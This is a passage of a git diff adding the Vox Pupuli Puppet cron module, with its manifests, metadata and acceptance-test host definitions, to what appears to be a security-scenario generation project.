+ command => $command,
+ description => $description,
+ }
+
+}
+
diff --git a/modules/utilities/unix/puppet_module/cron/manifests/init.pp b/modules/utilities/unix/puppet_module/cron/manifests/init.pp
new file mode 100644
index 000000000..f09413fcd
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/manifests/init.pp
@@ -0,0 +1,131 @@
+# Class: cron
+#
+# This class wraps *cron::install* for ease of use
+#
+# Parameters:
+# manage_package - Can be set to disable package installation.
+# Set to true to manage it, false to not manage it.
+# Default: true
+#
+# package_ensure - Can be set to a package version, 'latest', 'installed' or
+# 'present'.
+# Default: installed
+#
+# package_name - Can be set to install a different cron package.
+# Default: see params.pp
+#
+# service_name - Can be set to define a different cron service name.
+# Default: see params.pp
+#
+# manage_service - Defines if puppet should manage the service.
+# Default: true
+#
+# service_enable - Defines if the service should be enabled at boot.
+# Default: true
+
+# service_ensure - Defines if the service should be running.
+# Default: running
+#
+# Sample Usage:
+# include 'cron'
+# or:
+# class { 'cron':
+# manage_package => false,
+# }
+#
+class cron (
+ String[1] $service_name,
+ String[1] $package_name,
+ Boolean $manage_package = true,
+ Boolean $manage_service = true,
+ Variant[
+ Boolean,
+ Enum[
+ 'running',
+ 'stopped',
+ ]
+ ] $service_ensure = 'running',
+ Variant[
+ Boolean,
+ Enum[
+ 'manual',
+ 'mask',
+ ]
+ ] $service_enable = true,
+ String[1] $package_ensure = 'installed',
+ Array[String] $users_allow = [],
+ Array[String] $users_deny = [],
+ Boolean $manage_users_allow = false,
+ Boolean $manage_users_deny = false,
+) {
+
+ contain '::cron::install'
+ contain '::cron::service'
+
+ Class['cron::install'] -> Class['cron::service']
+
+ # Manage cron.allow and cron.deny
+ if $manage_users_allow {
+ file { '/etc/cron.allow':
+ ensure => file,
+ owner => 'root',
+ group => 'root',
+ content => epp('cron/users.epp', { 'users' => $users_allow }),
+ }
+ }
+
+ if $manage_users_deny {
+ file { '/etc/cron.deny':
+ ensure => file,
+ owner => 'root',
+ group => 'root',
+ content => epp('cron/users.epp', { 'users' => $users_deny }),
+ }
+ }
+
+
+ # Create jobs from hiera
+
+ $cron_job = lookup('cron::job', Optional[Hash], 'hash', {})
+ $cron_job.each | String $t, Hash $params | {
+ cron::job { $t:
+ * => $params,
+ }
+ }
+
+ $cron_job_multiple = lookup('cron::job::multiple', Optional[Hash], 'hash', {})
+ $cron_job_multiple.each | String $t, Hash $params | {
+ cron::job::multiple { $t:
+ * => $params,
+ }
+ }
+
+ $cron_hourly = lookup('cron::hourly', Optional[Hash], 'hash', {})
+ $cron_hourly.each | String $t, Hash $params | {
+ cron::hourly { $t:
+ * => $params,
+ }
+ }
+
+ $cron_daily = lookup('cron::daily', Optional[Hash], 'hash', {})
+ $cron_daily.each | String $t, Hash $params | {
+ cron::daily { $t:
+ * => $params,
+ }
+ }
+
+ $cron_weekly = lookup('cron::weekly', Optional[Hash], 'hash', {})
+ $cron_weekly.each | String $t, Hash $params | {
+ cron::weekly { $t:
+ * => $params,
+ }
+ }
+
+ $cron_monthly = lookup('cron::monthly', Optional[Hash], 'hash', {})
+ $cron_monthly.each | String $t, Hash $params | {
+ cron::monthly { $t:
+ * => $params,
+ }
+ }
+
+}
diff --git a/modules/utilities/unix/puppet_module/cron/manifests/install.pp b/modules/utilities/unix/puppet_module/cron/manifests/install.pp
new file mode 100644
index 000000000..1e2b81578
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/manifests/install.pp
@@ -0,0 +1,15 @@
+# == Class: cron::install
+#
+# This class ensures that the distro-appropriate cron package is installed
+#
+# This class should not be used directly under normal circumstances
+# Instead, use the *cron* class.
+#
+class cron::install {
+ if $::cron::manage_package {
+ package { 'cron':
+ ensure => $::cron::package_ensure,
+ name => $::cron::package_name,
+ }
+ }
+}
diff --git a/modules/utilities/unix/puppet_module/cron/manifests/job.pp b/modules/utilities/unix/puppet_module/cron/manifests/job.pp
new file mode 100644
index 000000000..ab7ffadec
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/manifests/job.pp
@@ -0,0 +1,78 @@
+# Type: cron::job
+#
+# This type creates a cron job via a file in /etc/cron.d
+#
+# Parameters:
+# ensure - The state to ensure this resource exists in. Can be absent, present
+# Defaults to 'present'
+# minute - The minute the cron job should fire on. Can be any valid cron
+# minute value.
+# Defaults to '*'.
+# hour - The hour the cron job should fire on. Can be any valid cron hour
+# value.
+# Defaults to '*'.
+# date - The date the cron job should fire on. Can be any valid cron date
+# value.
+# Defaults to '*'.
+# month - The month the cron job should fire on. Can be any valid cron month
+# value.
+# Defaults to '*'.
+# weekday - The day of the week the cron job should fire on. Can be any valid
+# cron weekday value.
+# Defaults to '*'.
+# environment - An array of environment variable settings.
+# Defaults to an empty set ([]).
+# mode - The mode to set on the created job file
+# Defaults to 0644.
+# user - The user the cron job should be executed as.
+# Defaults to 'root'.
+# description - Optional short description, which will be included in the
+# cron job file.
+# Defaults to undef.
+# command - The command to execute.
+#
+# Actions:
+#
+# Requires:
+#
+# Sample Usage:
+# cron::job { 'generate_puppetdoc':
+# minute => '01',
+# environment => [ 'PATH="/usr/sbin:/usr/bin:/sbin:/bin"' ],
+# command => 'puppet doc /etc/puppet/modules >/var/www/puppet_docs.mkd',
+# }
+#
+define cron::job (
+ Optional[String[1]] $command = undef,
+ Enum['absent','present'] $ensure = 'present',
+ Variant[Integer,String[1]] $minute = '*',
+ Variant[Integer,String[1]] $hour = '*',
+ Variant[Integer,String[1]] $date = '*',
+ Variant[Integer,String[1]] $month = '*',
+ Variant[Integer,String[1]] $weekday = '*',
+ Optional[String[1]] $special = undef,
+ Array[String] $environment = [],
+ String[1] $user = 'root',
+ String[4,4] $mode = '0644',
+ Optional[String] $description = undef,
+) {
+
+ case $ensure {
+ 'absent': {
+ file { "job_${title}":
+ ensure => 'absent',
+ path => "/etc/cron.d/${title}",
+ }
+ }
+ default: {
+ file { "job_${title}":
+ ensure => 'file',
+ owner => 'root',
+ group => 'root',
+ mode => $mode,
+ path => "/etc/cron.d/${title}",
+ content => template('cron/job.erb'),
+ }
+ }
+ }
+}
diff --git a/modules/utilities/unix/puppet_module/cron/manifests/job/multiple.pp b/modules/utilities/unix/puppet_module/cron/manifests/job/multiple.pp
new file mode 100644
index 000000000..e746f8740
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/manifests/job/multiple.pp
@@ -0,0 +1,79 @@
+# Type: cron::job::multiple
+#
+# This type creates multiple cron jobs via a single file in /etc/cron.d/
+#
+# Parameters:
+# jobs - required - a hash of multiple cron jobs using the same structure as
+# cron::job and using the same defaults for each parameter.
+# ensure - The state to ensure this resource exists in. Can be absent, present
+# Defaults to 'present'
+# environment - An array of environment variable settings.
+# Defaults to an empty set ([]).
+# mode - The mode to set on the created job file
+# Defaults to 0644.
+#
+# Sample Usage:
+#
+# cron::job::multiple { 'test':
+# jobs => [
+# {
+# minute => '55',
+# hour => '5',
+# date => '*',
+# month => '*',
+# weekday => '*',
+# user => 'rmueller',
+# command => '/usr/bin/uname',
+# },
+# {
+# command => '/usr/bin/sleep 1',
+# },
+# {
+# command => '/usr/bin/sleep 10',
+# special => 'reboot',
+# },
+# ],
+# environment => [ 'PATH="/usr/sbin:/usr/bin:/sbin:/bin"' ],
+# }
+#
+# This will generate those three cron jobs in `/etc/cron.d/test`:
+# 55 5 * * * rmueller /usr/bin/uname
+# * * * * * root /usr/bin/sleep 1
+# @reboot root /usr/bin/sleep 10
+#
+define cron::job::multiple(
+ Array[Struct[{
+ Optional['command'] => String[1],
+ Optional['minute'] => Variant[Integer,String[1]],
+ Optional['hour'] => Variant[Integer,String[1]],
+ Optional['date'] => Variant[Integer,String[1]],
+ Optional['month'] => Variant[Integer,String[1]],
+ Optional['weekday'] => Variant[Integer,String[1]],
+ Optional['special'] => String[1],
+ Optional['environment'] => Array[String],
+ Optional['user'] => String[1],
+ Optional['description'] => String,
+ }]] $jobs,
+ Enum['absent','present'] $ensure = 'present',
+ Array[String] $environment = [],
+ String[4,4] $mode = '0644',
+) {
+ case $ensure {
+ 'absent': {
+ file { "job_${title}":
+ ensure => absent,
+ path => "/etc/cron.d/${title}",
+ }
+ }
+ default: {
+ file { "job_${title}":
+ ensure => $ensure,
+ owner => 'root',
+ group => 'root',
+ mode => $mode,
+ path => "/etc/cron.d/${title}",
+ content => template('cron/multiple.erb'),
+ }
+ }
+ }
+}
diff --git a/modules/utilities/unix/puppet_module/cron/manifests/monthly.pp b/modules/utilities/unix/puppet_module/cron/manifests/monthly.pp
new file mode 100644
index 000000000..db0bdb213
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/manifests/monthly.pp
@@ -0,0 +1,68 @@
+# Type: cron::monthly
+#
+# This type creates a monthly cron job via a file in /etc/cron.d
+#
+# Parameters:
+# ensure - The state to ensure this resource exists in. Can be absent, present
+# Defaults to 'present'
+# minute - The minute the cron job should fire on. Can be any valid cron
+# minute value.
+# Defaults to '0'.
+# hour - The hour the cron job should fire on. Can be any valid cron hour
+# value.
+# Defaults to '0'.
+# date - The date the cron job should fire on. Can be any valid cron date
+# value.
+# Defaults to '1'.
+# environment - An array of environment variable settings.
+# Defaults to an empty set ([]).
+# user - The user the cron job should be executed as.
+# Defaults to 'root'.
+# mode - The mode to set on the created job file
+# Defaults to 0644.
+# description - Optional short description, which will be included in the
+# cron job file.
+# Defaults to undef.
+# command - The command to execute.
+#
+# Actions:
+#
+# Requires:
+#
+# Sample Usage:
+# cron::monthly { 'delete_old_log_files':
+# minute => '1',
+# hour => '7',
+# date => '28',
+# environment => [ 'MAILTO="admin@example.com"' ],
+# command => 'find /var/log -type f -ctime +30 -delete',
+# }
+#
+define cron::monthly (
+ Optional[String[1]] $command = undef,
+ Enum['absent','present'] $ensure = 'present',
+ Variant[Integer,String[1]] $minute = 0,
+ Variant[Integer,String[1]] $hour = 0,
+ Variant[Integer,String[1]] $date = 1,
+ Array[String] $environment = [],
+ String[1] $user = 'root',
+ String[4,4] $mode = '0644',
+ Optional[String] $description = undef,
+) {
+
+ cron::job { $title:
+ ensure => $ensure,
+ minute => $minute,
+ hour => $hour,
+ date => $date,
+ month => '*',
+ weekday => '*',
+ user => $user,
+ environment => $environment,
+ mode => $mode,
+ command => $command,
+ description => $description,
+ }
+
+}
+
diff --git a/modules/utilities/unix/puppet_module/cron/manifests/service.pp b/modules/utilities/unix/puppet_module/cron/manifests/service.pp
new file mode 100644
index 000000000..185e63fca
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/manifests/service.pp
@@ -0,0 +1,15 @@
+# Class: cron::service
+#
+# This class managed the cron service
+#
+# This class should not be used directly under normal circumstances
+# Instead, use the *cron* class.
+#
+class cron::service {
+ if $::cron::manage_service {
+ service { $::cron::service_name:
+ ensure => $::cron::service_ensure,
+ enable => $::cron::service_enable,
+ }
+ }
+}
diff --git a/modules/utilities/unix/puppet_module/cron/manifests/weekly.pp b/modules/utilities/unix/puppet_module/cron/manifests/weekly.pp
new file mode 100644
index 000000000..db87e5f2b
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/manifests/weekly.pp
@@ -0,0 +1,68 @@
+# Type: cron::weekly
+#
+# This type creates a cron job via a file in /etc/cron.d
+#
+# Parameters:
+# ensure - The state to ensure this resource exists in. Can be absent, present
+# Defaults to 'present'
+# minute - The minute the cron job should fire on. Can be any valid cron
+# minute value.
+# Defaults to '0'.
+# hour - The hour the cron job should fire on. Can be any valid cron hour
+# value.
+# Defaults to '0'.
+# weekday - The day of the week the cron job should fire on. Can be any valid
+# cron weekday value.
+# Defaults to '0'.
+# environment - An array of environment variable settings.
+# Defaults to an empty set ([]).
+# user - The user the cron job should be executed as.
+# Defaults to 'root'.
+# mode - The mode to set on the created job file
+# Defaults to '0640'.
+# description - Optional short description, which will be included in the
+# cron job file.
+# Defaults to undef.
+# command - The command to execute.
+#
+# Actions:
+#
+# Requires:
+#
+# Sample Usage:
+# cron::weekly { 'delete_old_temp_files':
+# minute => '1',
+# hour => '4',
+# weekday => '7',
+# environment => [ 'MAILTO="admin@example.com"' ],
+# command => 'find /tmp -type f -ctime +7 -delete',
+# }
+#
+define cron::weekly (
+ Optional[String[1]] $command = undef,
+ Enum['absent','present'] $ensure = 'present',
+ Variant[Integer,String[1]] $minute = 0,
+ Variant[Integer,String[1]] $hour = 0,
+ Variant[Integer,String[1]] $weekday = 0,
+ String[1] $user = 'root',
+ String[4,4] $mode = '0644',
+ Array[String] $environment = [],
+ Optional[String] $description = undef,
+) {
+
+ cron::job { $title:
+ ensure => $ensure,
+ minute => $minute,
+ hour => $hour,
+ date => '*',
+ month => '*',
+ weekday => $weekday,
+ user => $user,
+ environment => $environment,
+ mode => $mode,
+ command => $command,
+ description => $description,
+ }
+
+}
+
diff --git a/modules/utilities/unix/puppet_module/cron/metadata.json b/modules/utilities/unix/puppet_module/cron/metadata.json
new file mode 100644
index 000000000..f7bab72ee
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/metadata.json
@@ -0,0 +1,68 @@
+{
+ "name": "puppet-cron",
+ "version": "1.1.2-rc0",
+ "author": "Vox Pupuli",
+ "summary": "Module to manage cron jobs via /etc/cron.d/",
+ "license": "Apache-2.0",
+ "source": "https://github.com/voxpupuli/puppet-cron",
+ "project_page": "https://github.com/voxpupuli/puppet-cron",
+ "issues_url": "https://github.com/voxpupuli/puppet-cron/issues",
+ "tags": [
+ "cron"
+ ],
+ "operatingsystem_support": [
+ {
+ "operatingsystem": "RedHat",
+ "operatingsystemrelease": [
+ "5",
+ "6",
+ "7"
+ ]
+ },
+ {
+ "operatingsystem": "CentOS",
+ "operatingsystemrelease": [
+ "5",
+ "6",
+ "7"
+ ]
+ },
+ {
+ "operatingsystem": "Scientific",
+ "operatingsystemrelease": [
+ "5",
+ "6"
+ ]
+ },
+ {
+ "operatingsystem": "Ubuntu",
+ "operatingsystemrelease": [
+ "14.04"
+ ]
+ },
+ {
+ "operatingsystem": "Debian",
+ "operatingsystemrelease": [
+ "8"
+ ]
+ },
+ {
+ "operatingsystem": "Gentoo"
+ },
+ {
+ "operatingsystem": "SLES",
+ "operatingsystemrelease": [
+ "12"
+ ]
+ }
+ ],
+ "requirements": [
+ {
+ "name": "puppet",
+ "version_requirement": ">= 4.9.1 < 6.0.0"
+ }
+ ],
+ "dependencies": [
+
+ ]
+}
diff --git a/modules/utilities/unix/puppet_module/cron/secgen_metadata.xml b/modules/utilities/unix/puppet_module/cron/secgen_metadata.xml
new file mode 100644
index 000000000..a38523f25
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/secgen_metadata.xml
@@ -0,0 +1,14 @@
+
+
+
+ cron
+ Thomas Shaw
+ MIT
+ cron
+
+ puppet_module
+ linux
+
+
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/archlinux-2-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/archlinux-2-x64.yml
new file mode 100644
index 000000000..89b63003f
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/archlinux-2-x64.yml
@@ -0,0 +1,13 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+HOSTS:
+ archlinux-2-x64:
+ roles:
+ - master
+ platform: archlinux-2-x64
+ box: archlinux/archlinux
+ hypervisor: vagrant
+CONFIG:
+ type: foss
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-511-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-511-x64.yml
new file mode 100644
index 000000000..089d646a5
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-511-x64.yml
@@ -0,0 +1,15 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+HOSTS:
+ centos-511-x64:
+ roles:
+ - master
+ platform: el-5-x86_64
+ box: puppetlabs/centos-5.11-64-nocm
+ hypervisor: vagrant
+CONFIG:
+ type: foss
+...
+# vim: syntax=yaml
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-6-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-6-x64.yml
new file mode 100644
index 000000000..16abc8f1c
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-6-x64.yml
@@ -0,0 +1,15 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+HOSTS:
+ centos-6-x64:
+ roles:
+ - master
+ platform: el-6-x86_64
+ box: centos/6
+ hypervisor: vagrant
+CONFIG:
+ type: aio
+...
+# vim: syntax=yaml
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-66-x64-pe.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-66-x64-pe.yml
new file mode 100644
index 000000000..1e7aea6d4
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-66-x64-pe.yml
@@ -0,0 +1,17 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+HOSTS:
+ centos-66-x64:
+ roles:
+ - master
+ - database
+ - dashboard
+ platform: el-6-x86_64
+ box: puppetlabs/centos-6.6-64-puppet-enterprise
+ hypervisor: vagrant
+CONFIG:
+ type: pe
+...
+# vim: syntax=yaml
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-7-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-7-x64.yml
new file mode 100644
index 000000000..e05a3ae16
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/centos-7-x64.yml
@@ -0,0 +1,15 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+HOSTS:
+ centos-7-x64:
+ roles:
+ - master
+ platform: el-7-x86_64
+ box: centos/7
+ hypervisor: vagrant
+CONFIG:
+ type: aio
+...
+# vim: syntax=yaml
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/debian-78-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/debian-78-x64.yml
new file mode 100644
index 000000000..6ef6de8c8
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/debian-78-x64.yml
@@ -0,0 +1,15 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+HOSTS:
+ debian-78-x64:
+ roles:
+ - master
+ platform: debian-7-amd64
+ box: puppetlabs/debian-7.8-64-nocm
+ hypervisor: vagrant
+CONFIG:
+ type: foss
+...
+# vim: syntax=yaml
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/debian-82-x64.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/debian-82-x64.yml
new file mode 100644
index 000000000..9897a8fc7
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/debian-82-x64.yml
@@ -0,0 +1,15 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+HOSTS:
+ debian-82-x64:
+ roles:
+ - master
+ platform: debian-8-amd64
+ box: puppetlabs/debian-8.2-64-nocm
+ hypervisor: vagrant
+CONFIG:
+ type: foss
+...
+# vim: syntax=yaml
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/centos-5.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/centos-5.yml
new file mode 100644
index 000000000..c17bc3d00
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/centos-5.yml
@@ -0,0 +1,19 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+HOSTS:
+ centos-5-x64:
+ platform: el-5-x86_64
+ hypervisor: docker
+ image: centos:5
+ docker_preserve_image: true
+ docker_cmd: '["/sbin/init"]'
+ docker_image_commands:
+ - 'yum install -y crontabs initscripts iproute openssl sysvinit-tools tar wget which'
+ - 'sed -i -e "/mingetty/d" /etc/inittab'
+CONFIG:
+ trace_limit: 200
+ masterless: true
+...
+# vim: syntax=yaml
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/centos-6.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/centos-6.yml
new file mode 100644
index 000000000..d93f884cb
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/centos-6.yml
@@ -0,0 +1,20 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+HOSTS:
+ centos-6-x64:
+ platform: el-6-x86_64
+ hypervisor: docker
+ image: centos:6
+ docker_preserve_image: true
+ docker_cmd: '["/sbin/init"]'
+ docker_image_commands:
+ - 'rm -rf /var/run/network/*'
+ - 'yum install -y crontabs initscripts iproute openssl sysvinit-tools tar wget which'
+ - 'rm /etc/init/tty.conf'
+CONFIG:
+ trace_limit: 200
+ masterless: true
+...
+# vim: syntax=yaml
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/centos-7.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/centos-7.yml
new file mode 100644
index 000000000..41e924b50
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/centos-7.yml
@@ -0,0 +1,19 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+HOSTS:
+ centos-7-x64:
+ platform: el-7-x86_64
+ hypervisor: docker
+ image: centos:7
+ docker_preserve_image: true
+ docker_cmd: '["/usr/sbin/init"]'
+ docker_image_commands:
+ - 'yum install -y crontabs initscripts iproute openssl sysvinit-tools tar wget which ss'
+ - 'systemctl mask getty@tty1.service'
+CONFIG:
+ trace_limit: 200
+ masterless: true
+...
+# vim: syntax=yaml
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/debian-7.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/debian-7.yml
new file mode 100644
index 000000000..41b284d39
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/debian-7.yml
@@ -0,0 +1,18 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+HOSTS:
+ debian-7-x64:
+ platform: debian-7-amd64
+ hypervisor: docker
+ image: debian:7
+ docker_preserve_image: true
+ docker_cmd: '["/sbin/init"]'
+ docker_image_commands:
+ - 'apt-get update && apt-get install -y cron locales-all net-tools wget'
+CONFIG:
+ trace_limit: 200
+ masterless: true
+...
+# vim: syntax=yaml
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/debian-8.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/debian-8.yml
new file mode 100644
index 000000000..a630b7efd
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/debian-8.yml
@@ -0,0 +1,20 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+HOSTS:
+ debian-8-x64:
+ platform: debian-8-amd64
+ hypervisor: docker
+ image: debian:8
+ docker_preserve_image: true
+ docker_cmd: '["/sbin/init"]'
+ docker_image_commands:
+ - 'apt-get update && apt-get install -y cron locales-all net-tools wget'
+ - 'rm -f /usr/sbin/policy-rc.d'
+ - 'systemctl mask getty@tty1.service getty-static.service'
+CONFIG:
+ trace_limit: 200
+ masterless: true
+...
+# vim: syntax=yaml
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/debian-9.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/debian-9.yml
new file mode 100644
index 000000000..dfc8e9c09
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/debian-9.yml
@@ -0,0 +1,20 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/theforeman/foreman-installer-modulesync
+HOSTS:
+ debian-9-x64:
+ platform: debian-9-amd64
+ hypervisor: docker
+ image: debian:9
+ docker_preserve_image: true
+ docker_cmd: '["/sbin/init"]'
+ docker_image_commands:
+ - 'apt-get update && apt-get install -y cron locales-all net-tools wget systemd-sysv'
+ - 'rm -f /usr/sbin/policy-rc.d'
+ - 'systemctl mask getty@tty1.service getty-static.service'
+CONFIG:
+ trace_limit: 200
+ masterless: true
+...
+# vim: syntax=yaml
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/ubuntu-12.04.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/ubuntu-12.04.yml
new file mode 100644
index 000000000..ab77cda48
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/ubuntu-12.04.yml
@@ -0,0 +1,19 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+HOSTS:
+ ubuntu-1204-x64:
+ platform: ubuntu-12.04-amd64
+ hypervisor: docker
+ image: ubuntu:12.04
+ docker_preserve_image: true
+ docker_cmd: '["/sbin/init"]'
+ docker_image_commands:
+ - 'apt-get install -y net-tools wget'
+ - 'locale-gen en_US.UTF-8'
+CONFIG:
+ trace_limit: 200
+ masterless: true
+...
+# vim: syntax=yaml
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/ubuntu-14.04.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/ubuntu-14.04.yml
new file mode 100644
index 000000000..ae4530444
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/ubuntu-14.04.yml
@@ -0,0 +1,21 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+HOSTS:
+ ubuntu-1404-x64:
+ platform: ubuntu-14.04-amd64
+ hypervisor: docker
+ image: ubuntu:14.04
+ docker_preserve_image: true
+ docker_cmd: '["/sbin/init"]'
+ docker_image_commands:
+ - 'rm /usr/sbin/policy-rc.d'
+ - 'rm /sbin/initctl; dpkg-divert --rename --remove /sbin/initctl'
+ - 'apt-get install -y net-tools wget apt-transport-https'
+ - 'locale-gen en_US.UTF-8'
+CONFIG:
+ trace_limit: 200
+ masterless: true
+...
+# vim: syntax=yaml
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/ubuntu-16.04.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/ubuntu-16.04.yml
new file mode 100644
index 000000000..2d173c5b9
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/docker/ubuntu-16.04.yml
@@ -0,0 +1,19 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+HOSTS:
+ ubuntu-1604-x64:
+ platform: ubuntu-16.04-amd64
+ hypervisor: docker
+ image: ubuntu:16.04
+ docker_preserve_image: true
+ docker_cmd: '["/sbin/init"]'
+ docker_image_commands:
+ - 'apt-get install -y net-tools wget locales apt-transport-https'
+ - 'locale-gen en_US.UTF-8'
+CONFIG:
+ trace_limit: 200
+ masterless: true
+...
+# vim: syntax=yaml
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/amazonlinux-2016091.yml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/amazonlinux-2016091.yml
new file mode 100644
index 000000000..19dd43ed7
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/amazonlinux-2016091.yml
@@ -0,0 +1,31 @@
+---
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
+# https://github.com/voxpupuli/modulesync_config
+#
+# Additional ~/.fog config file with AWS EC2 credentials
+# required.
+#
+# see: https://github.com/puppetlabs/beaker/blob/master/docs/how_to/hypervisors/ec2.md
+#
+# Amazon Linux is not a RHEL clone.
+#
+HOSTS:
+ amazonlinux-2016091-x64:
+ roles:
+ - master
+ platform: centos-6-x86_64
+ hypervisor: ec2
+ # refers to image_tempaltes.yaml AMI[vmname] entry:
+ vmname: amazonlinux-2016091-eu-central-1
+ # refers to image_tempaltes.yaml entry inside AMI[vmname][:image]:
+ snapshot: aio
+ # t2.micro is free tier eligible (https://aws.amazon.com/en/free/):
+ amisize: t2.micro
+ # required so that beaker sanitizes sshd_config and root authorized_keys:
+ user: ec2-user
+CONFIG:
+ type: aio
+ :ec2_yaml: spec/acceptance/nodesets/ec2/image_templates.yaml
+...
+# vim: syntax=yaml
diff --git a/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/image_templates.yaml b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/image_templates.yaml
new file mode 100644
index 000000000..e50593ee0
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/spec/acceptance/nodesets/ec2/image_templates.yaml
@@ -0,0 +1,34 @@
+# This file is managed via modulesync
+# https://github.com/voxpupuli/modulesync
